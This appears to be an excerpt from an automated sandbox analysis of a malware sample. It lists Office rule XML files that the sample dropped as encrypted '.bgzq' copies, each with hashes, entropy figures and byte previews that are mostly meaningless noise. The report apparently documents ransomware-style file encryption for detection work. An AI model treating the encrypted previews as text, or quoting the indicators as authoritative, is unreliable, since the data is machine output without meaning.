Preview:	<?xml~.7.R.q.f%5p.....q...u..i.....,.Y.z.9..e..i.......`.2aU.3i=.5......o..j.1g.+..O.....x.V.j,.X.r(............5.d...a.P..6....Q1}L./Q.@@y]>......-.l.....%....^V!..3.H.....{Yr.M.s.m..}..+.....Q.....i$.[.jZ4.<.c..h.%.<.$.^VB@D.+.x...JS[...Q.!v..9..?x`.:.K#.].tx7..._..i.:@b...:..a..o....Ta...........nO.o.Fa.t....(.B.O.....)....A.......BS(...F.&...~.Og.....{....-. fS.A.~."..jWj.CLs..\Be.c.!..T...P....Z......y.6.0....."\.6.N^...O.} .U.S.M.I2{W.w..L[.V....`.t."..........t..O..D..s&%\|c.5.\|.2mp......D&./...3....}A...#...R.7g":.%.W...w.$...d._.....>i.7K!7\0......Ed...<.>........E.....}1...(I..D..K%..<U.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.782566754456188
Encrypted:	false
SSDEEP:	24:AM6gUR34DPDt0NVN51nMjkztW5SjDScVbD:AM6ggmGNVRn+4t2qOcFD
MD5:	28A623F71456F3EA10857F9EF9BEFD74
SHA1:	B6A7C817B9E12E6CB99FF9EA8366D8CAFD975ED9
SHA-256:	67548C8266421296EEC4535B4FB2CE5B3293C68CA16A775243227CB4E7DA40C7
SHA-512:	3B3AA6C7D6744983C4D798BC23713B7C6A78DBD73C8EBCA488B1407DD4E4832C182B8372059A1CEADABC45503C3F5661C3FB7B783E1F73E971C1017A0E91517B
Malicious:	false
Preview:	<?xml=.R-..D^kq..w.O?K........./.....3.S..M...6...;.......v..V..EkPS..88.........-\T$........g.bf.-.N.[9w....ie.....M.D..,...:P...8\|b4....Y.6?M..R...y.Q..r.y....=.X....)....D.#...x....1..j...j.i.HX`Y..6.....p.b.L.@..r..qr....s..:.k,....Z....+.k.b5.n ..x..[..\|..V.a9D.../....o.y#........[}#) Q).N../6.!sb.W..'....:o.k./z...TA......V..KR...R.%.v..wMXTuP...L.o......o.0...q.y.....C......B...[A.g.\|'iK...e.ncTm.8.!...v6RSC....\|n......r#t.x.k5.....?.z.[.q..<...fq...z..H......=........o..#.nL[..\|9=..i......&...'s...._~.1l..q...3.a~.,8.+p.(...7.+.'.;.m.(..jt.{".].\|....A...I!g.K..........Q.C.Ux...F...b.a....^O;..q.S?.....q.,..!^a..~.o..PL.h.5../...eW.Sf....Q......:..M....../....t.......A...(.LH.YA(r.6...w..q...}.:p...Wa.=_{.p..~E2.o./...w....Rn....i@itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.721988901431864
Encrypted:	false
SSDEEP:	12:ANfSqYrJmoA0SyseYH/DPP+3k4DuiX9Wi1zKfWpuACcAPge5Et/R5JYTnixKei5/:AUqYdU0SynYfDPP+U45XxkUrR5eix/iJ
MD5:	64E5071E8BF4C9A873592D70F1937362
SHA1:	CD4C01A40DF637DE833D420D4F9403A62F649A79
SHA-256:	6C23C314A409F981BE39F63B73336E589E9E8ADDE24BC58E136B044845E2F88E
SHA-512:	EAD2EB582E5EFA137708E625D4FCB5C1C1199D86F7EEE6ECEF44C128DCAD3781A6412618220772863E5F79C034D73B7960852BE54A9A0A174DC9D01C537180A8
Malicious:	false
Preview:	<?xml=.R..x.~..o.,]u.n...j..6+gZ5UB...1.-o.[......... ..v..Z.C...q..y.......3.oz.}!.Ae.7../.5..<......^..{.W..D.HqLX........J...@B?.U.L.{f4.B..Y_OE.Q_!..[.xCy......r..k.F...+..z(.)5..m..53.'..n..W..=.'DW~../.....i...?..9p.......2>a....D.~.Hc-.~.:m.DI..9..f.......@L`........`&t..>.~\.y_..y......;W..@..2u`..9...W..e.~...;...1.V\|...&....A]."c\|....9....zL.&....U.r.^O...z.T.}..3S..Q.E....T..._/........\|....3O...n.\|.rgW..K.....O..IV..IF#..3;..}..QJ.o,>..Iq_\v'..M_.0).B.:..1.D.5....^.Q...g.,.{;.6(.......!D..`....y4/.....J..V(.`T.9..d.\......Kv.s....D-......l......".*..v..Ba..{l...;Y.....G.._. .Nfm..?.B.......#S.9....i...........)Sr...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.8672894542501535
Encrypted:	false
SSDEEP:	24:NG0kw3jmnTZIDDlCrHbzsHwNNOfGxEthw4WTX+STI3aG23WWUtjqJVbD:N6+j6VsDs/z8MKDVWTX+mIqGqiGJFD
MD5:	2249416DF1786D1FCD6667FF309EB070
SHA1:	ACA60D0F7823979B88C7A8C707F2700A62D77D5B
SHA-256:	BF29F829EDB2CFD9FFDD6219EB0175AF61D8317BE0FD2C5B322BB7CE80F68C4F
SHA-512:	4EEBDAF69A092068E89EA968CB78F3BC130809245211EE77994C49B66521451840DB8A4783CC4E905A938680D47525FC5F24199BAFE3A0B418E622C56E0AA459
Malicious:	false
Preview:	<?xml.%...k. .?......]8.>x.....~p...>3..N.=..0.<.Z..J...)0o...J.q...`.....S./ m..i..X .....FC.6........U.>.h...i....b...........?.t..}.j..tw..}mZ.XU.p>..bYxx....N.......S^o.@....x.E.l.........?H..k..6...x.d..R.S.@...S....[7."..?.=..d..c....".C..H...~...\|.=9`..L.9p.}...N...QVI.F>@....0.r.P...%t".......y...A....6...2.\|........ . .....@.Z...bZ......(...y[.Re..h..>.. .Z!.J..D....+........F3n.MUp..f....q..+]....Izu.$G.b.......2..G.Ie%.....L.i.......&.. .#...[..!.......!....Tt..OqiM. ...m..B4.g.....LG..'9,.d..y.9.fG.v.q.,...%..oVy...Z.;.`2....x.5..z"9.T5..Z<-.Ow.O>..#)E..g[.6...@!....f....1P..{..vnj..BXkJ.`.m....OG./....`..N.cT.n.UJ..4O.1..s..A...g.^....1?..)%..v.!..`&>..>....>....)D...'..i2..@.A.....,....Q'.<.?..R.u..u,......d..3.........H......d~..Q.X.e.......Vu....Jf.~...;7x.\|...!.a...f.....(.O....!&.j...}....k..x....i.kt...M...\..38;.......L..P.^H]s..(=...~....[....=....v.o....V~x..G.(......u6.....b......K..?...('3&0.0o!`.i.Y

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.823360823087082
Encrypted:	false
SSDEEP:	24:i+Go3NO13qyJkyS0FLRZPZg3WTg6d8ixm5JNoufapOuYa5RscVbD:tGoiayJkyS0XZxgobdJm50MJvcFD
MD5:	D90F8711C4F79E1833967CF23CEBFFB5
SHA1:	699F5BA894DE6D50639C321A6504DF1E3F22470F
SHA-256:	6271EF9B68EB60C59170FB26735BA034996C3872FC3247AB2C11D2D27A673026
SHA-512:	FA558EA20471DCF1BD280A288B93584AD7738AF63A98A21C0998A6A2DDFCC0E76BE6079B43AE048FD37A284C9FA7B527F0692C8621868FCD9FA947100E874514
Malicious:	false
Preview:	<?xml....8jeK..Z=D.d...[.....F~#k/ZBQ.JT4.v.....-)..1.........$............KI.u....G...LZ.my..]7.....;..t......./>...~^y.....i.....o.f..W'..f...f....H....T1P? .25n.z.e0..vP.~h..q.....E9.r......R....4...lh..u.<...{D'[."?WU.Q.ju......;F#.....j...%?..^.N..^.7.C.@...e...\|k7by.$(..:..@.e.j.\|-..._5._...L.O.w'xM#.m..x......z.....x.O.`..Lx ..9.DF.....q4....a.-.3C..H...G...{.=...I)DM:..4t}Q;.t ..s0..j...e......&p.&.u.....4.s.\.Q.b.s........ZqB3#.C.w....[....T\..\|\|rd......6[.X.`.-..d..."..P..J..\|.-......\|.............z..L..}-._(....}U.:...5.g#..v.>..HU.E.V...".......DaI-.)e.....I..1.<...........4<\|..~(^.7....,1..20,7.-.;4B7.$.i..A.H....>...-..o...m\.T........`...p.....Q.}.....`N.vog+@..6'.....e....j......>..GP.....m...1.T...Ig...U...8...;..~.....n.j.!t...Q....<...&.L.B.K..!..A...C.!.....[.4.=.0.yP...\..n.3....3..c...,k}."..=4]...!.(p..N..S...LY.'.^;...?C..C....[...Py<....&6.w........].oD.P....]..\|........ ...==X.j......Q....K.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.850890709481261
Encrypted:	false
SSDEEP:	24:J2iWX5eYPDmRWpcEV9jQT3CZIevSdhGdzNhwxaHNVbD:J2VJe/opcIODrBxaHNFD
MD5:	C3FDB98E4211CB32BF6EC7F46EC543AD
SHA1:	1B78FB3BAF2AF7906733744DC72B995488DB4C37
SHA-256:	F2A4366E7E17B2E77BE457D66CF40DE9CAC0E166D2EDF24BB8902B6AF917BDAA
SHA-512:	F9B0503F65C6C1A8A4AE67134CD4EAB31CC4F9CDA6DFFBDB5A49A0A49B45C03760E4EDF99671E437863698DEDD0F1E530A2BE405C5DDB7107562CB64075C6DBE
Malicious:	false
Preview:	<?xml...]{...}..@.:...K..@k^P.8..<...w{..%3.K..lG...".4.L....m^.~.......xd....w..t.!..5....mX...2...#...s...mx.-4..}.<g...R..U.\|#ed.o..ms...I..ok@.Q.......1ZQ....:vY[H..[.3KK...T-.5.Bg.6.,.(.t.5P.V....I..4t....D._.5.5...L..aw=..l~.U.c.....=s.)...A!.....O.U.M....s.u.!.\|..B.....N.=...-Ma.E.....M.<.#-......./f._Y.+@......`%Q.m. O.s..N..R.TH.n....z..4..d.0B....v&..4.B3e.]rx......\|.e=.3..g4.I.>..q.~....D.R..g..bAXp.6..t.s.a.'....'...X....fd.~.wC....V...O=u.~D.....p..mE+...jHp..P......\|.R....g.0.h..8^...[..Q....[..X..........}1.N.....:F0P.....;..y.,....b.......)....?..7~.....!....U...3j..e.I......c........cau.f.9[..8.r'...Z...\M..E..o<.<..6...>K"kL.3Y.03/...I....H.n.I.1o.....urAGt....m..U...Ern....w..r......o.......\|q..M....XM..C.m.].....Z....2...zx..2..0..F.GC..]$..$....].Gn.}..d....X.i.t......\|.^..g.`..).'..=a.u.4E........e +Y-.~7..).9/....Y......s..`..`T..rD....kh.t...9..l9.V....%...Y.p....".Q........o..o..XM.#..z8.4_...79....q.c.5E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.790751665943299
Encrypted:	false
SSDEEP:	24:paWvJV/Tg3A3BCzt05EfDoY33Zhyy2+OCHecVbD:gSJV/Tc50Sf/C+OIecFD
MD5:	6B2B722FB0FA21493653148D321CFDB0
SHA1:	BE9E5F08C8B097992E5C737228AFF7E3BA932AC1
SHA-256:	62B368D436B84B968CEA61D5AC6A70BA24B85AA3E9AC0921D9C0650E799C5366
SHA-512:	60A54C25928AD45861E78A0C7DD992FDD8EF5B2A433D2150A63BA0352DFFD641268933D381DD9AF1CD70D2A8D648A54FAD309334C82CA185DA6A39B004426D95
Malicious:	false
Preview:	<?xml.-....6.I.o......y.......=...d.....l..?..F.k.nL..z..h...RXO......Cv..wC.o..\|I...H..v.)'..M.4..<...>.n..2y.". E0= 8.DKF.I.-.. h\W\...<N..b..7.iI.3!......J...F..A-.>j..j.d..d.....b&w.......A.xp.<.........diU$..H..zoC.C.....h..Dp..M... k{......S.L...........m.O$SOHB.....'...-...~.rQ..t.v.F..l.{.....9......J.A.^.....n...jt.lq....U.I\|z...5.^n\|.."7c^'...,.R..J.(F..&..a}#..r.i...t..2....u.....%?.n...D..&\|a^.~..#C.5.t.zFC..g.0,.Mp...u^u.....X..cF....n....n.6..D1.y,..b./Q(..Q..^.r8........Z.W`...Y^......\|....f.M.....)<.x...- .\.......1....U.r.x....P.b...0<...idG.....}y..u.N....M....6.m\a.kS..yS..<=....[0p.....@...Y..X......8S.."BG...V...Z.~.{."..U.$2.J..k...."....&.~...C........cz.g.h..eZ..i.s.....!... $.0..uI.V...@......X...{9.*.?.p"g.Z.....v.B.=F..eJ.....+y.....R...5...O.@#N.2.\|..]..\|W....z^....t...I2.....X.....r...w./kI.L.[....q../a.@..T....P...hU}[s.-..Q.\....9.{.k.;..^.g.xEA.Oln)gi~...-?...N...f38v].kd.4.....$o....8l.!. >.Cd.y../..SDB.=.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.680763665443775
Encrypted:	false
SSDEEP:	12:GxRXR3ZMmFlOHCyHaqop90hrNcpdYPsVjXsZZxTTlGGb3+px/RajVcii9a:Gx3Zy6h0hrEosVjQZxPlGGaH/uVbD
MD5:	144F22A22F41D00D9A185AF323B04F86
SHA1:	191DF5714A17600093E8D494E7275C09BB3B5BF9
SHA-256:	D6D7F655B3C74DE142B88F0500A8B39593C0FD8E61308403A9E1144BF3000830
SHA-512:	93986861D2FD1EE702130D6D5C2284BE9C102AB06F6D3F23FD07E8B9959D4C8F5EFFDCAF993C991B397A0844DD931A09CA12F9E1F527968D0FC23C978AD9F5D8
Malicious:	false
Preview:	<?xml6.....}..`.3...U.w%.w.v.vX.Tu.....X.=MQ..-..c.9.>#..Y.["q...8.{.........Hb.n...]W..v.tW`.j..j..DBI.R.....C.....ppd.Y.7D......./.F.}......P.o..$....mb>.m..r...nr.\|cH2+D...b...8....D6..f.y3........~......C....x...-P..74^...5Y\.n....-9`......+..../M..".n..B...O.].7.G..J..M<.._F=.}...4.d...g.lHu./.+Pm........~..s.;.m.L..S....\|]rF.w[..d.'7D...X.v...B. .. $..U.....h/%A{...!!v..B....._....D)ks..<.:..>?K...n...9...,...q>...j.T_....$.>...jJ!.A.K:.....J...]...-.{..S....,$...]Id..L.......{.*m..E}.xc.4\.Nzc.ca..er\..u..S..(..5kl.........:.R...P'.$C.U....M..o4..+9..:..H....p...ql...WT)...l.N.._...^j..."l..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.885739588072745
Encrypted:	false
SSDEEP:	24:7LWKSOC7DAYwuBx3IHEDNjRzowmhaFkE/+s2KbGVbD:GKSrDRwDSJRzowm2kw12AGFD
MD5:	95BEE22E6066B892315C94E3097C664B
SHA1:	26058478DA2930C37216F7E9E8E53E0F562A8D82
SHA-256:	75324C5DF1052C4589171894AD1A4D8195316AD6777CDA244A1F537CD5C77274
SHA-512:	6F6097AEBBB71C5D5A75BC8B30A93CC59FD56B5FC03E96BD3531BA00D3CC4EE58175EC9AB5C65988ADD0111BE80935FAA8DE8B38ABA8BA536E649336694ACF2B
Malicious:	false
Preview:	<?xmlf...$.:I..<VW..z.#..+.(Te_..{...U...{e.o..L..3.)..6Bd<.?).q1..o /k./G....!.z.'\|N.A..w.y.B. $.L S.......x.l..H.....'R8$#..d.A...R.....c{..........V........!w........2o......;^..!...T..F/.Eo.L.c.L..&....TYf..C....q.o/&..!..)u.o.+..6F.<.894D..s..P!...S.....n.G,g...s..f.H.<.@....\|....K;.....4..J....[./..h.....pO.....}.<D.9...eT.\....;!...."..M.i.+.Zj.z............._...1)..........9Ib....Q..."Fa.E..~.%nS.j.;Q $Q..yd....%.........=.M{..D...^.._Ce.P]..\|..t...pOl<.M..E.E..jc.-...<ma]....@G....})a].r.X....'v.rc2......+.4O...=/...).-"9?....*0...z...I.....2BG..G..Bn...W.....3.e..az...3.P&...(.tKY....a.V.}..HH?.~.U...Ur.[.k...0...9G.:.}.!..?@t.spY.CH.....X...f...+kV.k:?J.P.......-h......(U.....:o.{c.C.u..)..b&...J.8.>.2...i......./.g.a...CC.+.z.W.....EV+zw....T...m....d}.....3xK...4.>3..-.)j..O.S`.lr[D..gM....Zg........Jf.9...o..`.~..Qc...u.RZ..SW^...7....ml....C.Q..s..SO.]{.q.D...............h.N....p.2N:.w_h\.....2.+...mu.o/.....G.....8.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.788255497643325
Encrypted:	false
SSDEEP:	24:WH9O6WD6J+W2N11tneEINVG3bUlnV3gUQCQq4KUVbD:E9FWDF3eRG3byVxQCSFD
MD5:	F955E028A40A79E50E309838B3D4B2CD
SHA1:	D2F6E2F8D8837E8BCDD44CBE98195378AD91F7C4
SHA-256:	C085B92918DD9CB504C3E96A00319F94E419DE18223C564A0374FBD50ABDEDD1
SHA-512:	B6ED439C307595355556C8FF79E6C470AC7C35B2A04BD0787C797523ADD5C484BED54C8270FF01304F4C8C3252240F48C961653619230F5D8E958E572924FC2E
Malicious:	false
Preview:	<?xml.....F...}...]+:!&v.......L.Mv.A+..p.[1..]pY..\{.;...c--.t...D..._.k.....kc..........P.M...\|..f.....,O}...d1.5.3.s.(..........X:[....N.h.........ms........f"...._..#.)..........v..E.J.B..\|.Mpe.6[.8....'.q...o^XZ....F.y7 EE.......Y.u..M..j ..h....%.t...=...d.~^Y..W..}.....N[a..d...8....u~..%.. ....c`o.F.W7..s/:.J..O....Qi.P....7...f.....I.u.%F.w{g.....G.....>..D........D.B.9H...y_.,.LM.....J....q.&.l'.(.S..!_...2..\....n.....~w5....V..6._.kp..-.#[w........Y...2n.a.....9}G.av>.'8...:)..k2v.C...WD.d.N...,...D.'2hW......heH.i.....zR.]W...7.H)%.....$...H..............p.q...N...,d...._.?....1..e.......I/+.{.w.VSG..`cw...Q>G[+..Q.+.../Q......).~\.$.....82....=.F3&..N.E..E...L;..}.....p.Br.......r....lN.0....#"D;.r.k}\..I].aH......(..V..mC.....TB..G...Z...%P.2..[..m...`.-....m.m\|.?_...X.}.U.p..Q.*K...8W.6.....r'J.b..Z.P..(..{.....M...M..v..]l....:..=...'Q..j.....v..=g.E(..?t.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.672244771731477
Encrypted:	false
SSDEEP:	12:+/d37qaVhxC3BdIsIS6Pmj3vcXFFAoDhvk+GIuDxiFyNUwEHk6vQCEKlqxhQgCVZ:CE3BdmPmyAoDhvjGIMoFyQk6Iyc9C1VX
MD5:	89E17110CF0B3F6A6D728B915AD228DA
SHA1:	9E06F28E3804816983D6B2D6546CF8BFD5F67865
SHA-256:	AA0AA0110D5169DFF419A9CAC089D667D5FCD71D71E342678E9FF33DA2E3E70E
SHA-512:	4B15CEDA58154DF3172309912472F52EA72E85BD58A73BCF513DEB461236D395AD043527FDD437A5EC7B9D48498F9977D2CDAB8911019875688A39A1E049C4CB
Malicious:	false
Preview:	<?xml&.;....A)..5>ut^th.<.O_.x.)M...y..l.h&#.k...pB..S..D...z.....J.~;.....9`R.y.....^Y..u @.....t...O....u:......k...Q..B..z.o.....O?......_2...S....B...:.g.@.O".R........5.F~.I{:C.6.B.bBh....\|d)..K....L.P.......J.y..=OE[.)...W.5!U..6....K.QV.)u..}......2.G.{.0W...rK8nq..M..>S...9.l.c.....6..M.t...j....yjf.ok..5..=.17.s.W:...v.....s.M..a.%.c.+.T..8.7.GHj...zPf#"...rk..q........t!./.../.&I.:.V...T'.." ........S-2>&...(.&..u.E.E.-...G.4....x..g..':...or.3.>c\|*..<..g+..#\.+.....H.uR...A..Q.3.2D...N.\|osm\.w+..n.?.q.s9..:,N..B....@J.....&......'.....=..n.m.ca....i..S...$.5.7.3X>N<R=.'~@.....&.E..P...A.:..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.714482248671098
Encrypted:	false
SSDEEP:	12:9hErthql4KmyhO+6zSlnH4JZjasnEUjyw90YD5v3onT3ijdTQI2PZ1llPIZTlDYU:vE3g6a4L2sEQyjYD6nmhTQI28DexWVbD
MD5:	5E02E0E6643C4EDDB2E653C0EEDB51CA
SHA1:	B35FEFFA154990000F3728C75FEEE2490731B95F
SHA-256:	8B79A45BAE5EA2F6A786EE4C64081DC207ED9BEE171F5A00615F0EE41B9FEBA8
SHA-512:	96754FDFA183D3A192BE0DDE4D77A598FB6F77AB16DDD80B1782F33B10DFC75F47E68B07F881B43580A141ABC315EF1781C11A946905D3BB35CF46A8D32CB099
Malicious:	false
Preview:	<?xml.iJ..w..y.Eo".H...\|.)O...$.#....dK0..LHC....j.M6..F..Np.{)...)L..JB;S.".z#!_/C4.Z@..c..ZH.r.....3..1`..R..Eam4$..!\..;..,...II..l....P.z.d.bu...y$dz..5o..h..,.rU.Q.n#Y.../...$.....G.,{.^.+O^....Z......z....f......~..FIl..t...1...9~.\|9.8sV..F..).H,.m............v..k.t.l../.hnX...u..".'../...c.rt........R.\|7`.VL{.4.1r..i8S...Y....G.v.....;.U.\...........Y...a.....Po6!.S.d.{./......lM...ML"...K....G.T.......sE.D.....?.sL.[-.t........s...;+.u.L?..........L..i.u.....^...wxV....~.....F.a...2.x....k.......O...Z(%..i......2q....w.4...a....../...2i?1\|.l..U..G\.}....~%........AK.L...#...M.m..{.....T....h....%.AfW..2.Ok\|..=.PR{..F..d..T\.D#...w.!.c......f....g.%...4.Y.X`2.!.1..#itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.6957426500145925
Encrypted:	false
SSDEEP:	12:kBlCTOpf6Ge4T3PH9iC9Wiwrw2Kg3zvMyJs19kV4yvnmaJ9Kq4Zmv9VNjVcii9a:c8w3PEoCwX4zfs1qVPqStVbD
MD5:	28D62FD43CA78FCB78FCB0A52FF25EF0
SHA1:	BBB1F0CC48E1F152CFCADB60097206843C68E113
SHA-256:	1DF36F51B6E4AC3164906DB35AC5FB3821D4555E3BAE79D101C08A7664D7EE17
SHA-512:	6A08A8B75D498BAF73D960C9C0C5B0E65EA359648CC45C1464B07F2427F29A756BFAECC38CDDAF1EC37A8A5808811F5AC3293E59A174ACBBB764A11CE4AAED7C
Malicious:	false
Preview:	<?xml.8.2..m.%.`..#Y9....&X....!..u.Y.......F.F..Qs...[a+.....t. K....R..;Q.C..m(9R.3...Z...[l.....c.4.D1.g..8.?..0..\..T..t.(.dL.R.:....h.R..I..g...h....-..jt.1....O...@.t!.Bj\.3.j.Rd.@.t....7..w..>Kr../.a...GJ...>9.R.....m.]u..^..ef.................#}5Sms:.x.t.....]........{...#.T9.5.W...i...*..........&.V7{Dh..........A....-e..;N ...:....y....3.h.yl....:.l...DFT.FT.P....M..m..)'i.V....K+_.[y4.4..-.%.T..4...4..E.{b..p"K.........N......F....8z.QF.y.: ..K..B...XG...NN...-r...v...z./.i.5....v2..&!...J9~...p...b.,@.....+.....&..."..i.$j=.....9....0P...D..[..b..~Se.3..+..MM...c.o...C.....U.b.p.c...`...l7.Q....l....fX.R.....zX.'.X........Qe0~.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628770315700525
Encrypted:	false
SSDEEP:	3072:eNnRbbhJGWTl6tBsP8CAXpfDB6/V+VlAKeGDseGcZg97wa:eRR0Wl6tX9B6/8VlI8seGcZS7wa
MD5:	9AEFFF37E97A2E6FCA77295F4ED27666
SHA1:	28429081EEA6E744109A5596077D545F6D58F6DB
SHA-256:	A276FA3B7DCE7B65FBD56028F4FD2D0071E9E7C7E042194C6B27BB388B378B53
SHA-512:	3D709ABC0969DCAAFD4D7FD17EAC747F20D5AFB23AEC529C06DDE5342BAC542E282882B6DA393C3A9DA38CC3143868F6F38D66BA29E394750AD719D60AB5626B
Malicious:	false
Preview:	<Rule..~1...v.W.".u...........m.._.4%....a..!.^v.`lc..!.s..y_..q.ol.v.....(aQ...+..Z>.....P.$sgv..V;@...<D."./5.N.a....'3..?%...u mJ..P$.L+..........C...V..Y.I<..E.6......:E&.....@..<.e.u..o.n......F......,...;f.g.. ....B..6.0...C..Q.n.`4..7]..j...B....Q.;.j......B\|.y....@..d.uJ..N.....O.o..wo(KN...vT.3...F%.N...."............s.;...5....DK-......%YAY@6x:.j..Y.&,.CM.K.......}..e....7.........9.8..b..;......-'t=v..}.......A.5.x..i..:}A...../..w.6...V.9.E^...1m{lf.p.).7..<.7.V....d.-....$...w......):.Tn.g.....@......+.2...J.k`.k(.R.[.~.y.4F.V...e...=.R7.._..N?.l~E...G.!cg.........=..<....8...KX%d.f.u...n..H:...qN.sH....\|.(v....7....V1....G....q.%.T.i\A.@.D.>.E...[......`...#..Sqw.a......q[...ek0..<./.1l....I....z.~g..] 0...4l.G......]+..$........1....../.Npq..p.....u..H..c.N.zF..X/..z..<9n!=...p..7=..l.QS.O...u........q...7....}...P../.4*0.B#H..p..~.VM.....q.....!.F...`..&C.d..q.J,.s.D.7Lo.=..r..F...._.q.z....Hq.1.k..

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515707281539702
Encrypted:	false
SSDEEP:	6144:Gy2B4XT6grsqMhYem7cqTKlCgY1j6vQorRo5:J64j6xqOY1cqTkCX1j6vQoFo5
MD5:	314E6627BE865B7C847197990B3D276A
SHA1:	22879ACA41E188108B007AC096C478900A7D9431
SHA-256:	349DC8EA28276817F83A7021431BC69DE9ED6C964F0F02E6109A7E6C7A6E749E
SHA-512:	B7FDCE127CDBC335CB9958BEF4F5E01CF452D0391808993A433FFE3F1310E145E4A244B903EC917A894ABE23A4B336E8450B19660C95507062178430D023640A
Malicious:	false
Preview:	<Rule.Y..W.A.G.!.U5.&.8.$.......}68.o.....VRE..L..P...F.@.^..^.Y...W...?-....r!..C.....p...+.............^..W.``..!Q\../?..b!.>..O.0..w..7........X[.,#.$L........@u....[.%\|[\....h...-\|.T.@y.{..AT."Q.V ......x:.L..76@....F...s..[.3_.,.......T..Wh~.....!.....![<..........lgS0......S.I..t...j...l....i..h.f.x...R...Vr.[}...S..a..e....'.F.W.$}.......]J...B..mk.t.Fb...,......z....r..2....7..\.K.b..>.x.^.9..P.zCm.<+.8.?..B...........;.J.}..}3....C,.?x.....8.e.O.3.....,....D..\|1.(..._-\...,..g#..a$@.q..`&..I.v.W.s.R.*......;...6x../..Y.....'.y..zI...tg.S._MV.......k_......k.n..4+.C.F...GV%t9d.>D...\|.8~}..7Y....G.U.a.../....f.P. T..!.....\..^y.Ry1.Xr.R#D..l.QQ+..M4D\|..u..N..<Z.v.JW^.....R..N.L.....e@#<]aS..EV.......8?.....z.....kV..\|.....k.U3..%.T.P..h...^.e...J:...z.~{...fXI.6.)..<......@P...\.....i.:...NM....h...........z.O;zC..,E..G..^....B.8...- (zY1]......05.K..LKW..~.O..S-....\......P.e.-...F.e.S.q...K.....Mk<........x.G.R [. D../k...K

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.512841642072747
Encrypted:	false
SSDEEP:	3072:pDMOonC0QVtLTEYOMGQ5Txi7gGbm9fSHNuSkTxpSMIgxChMKF05UhJMI:tMODVtPEHOTYgGSxFlTSxgxlKFcuJMI
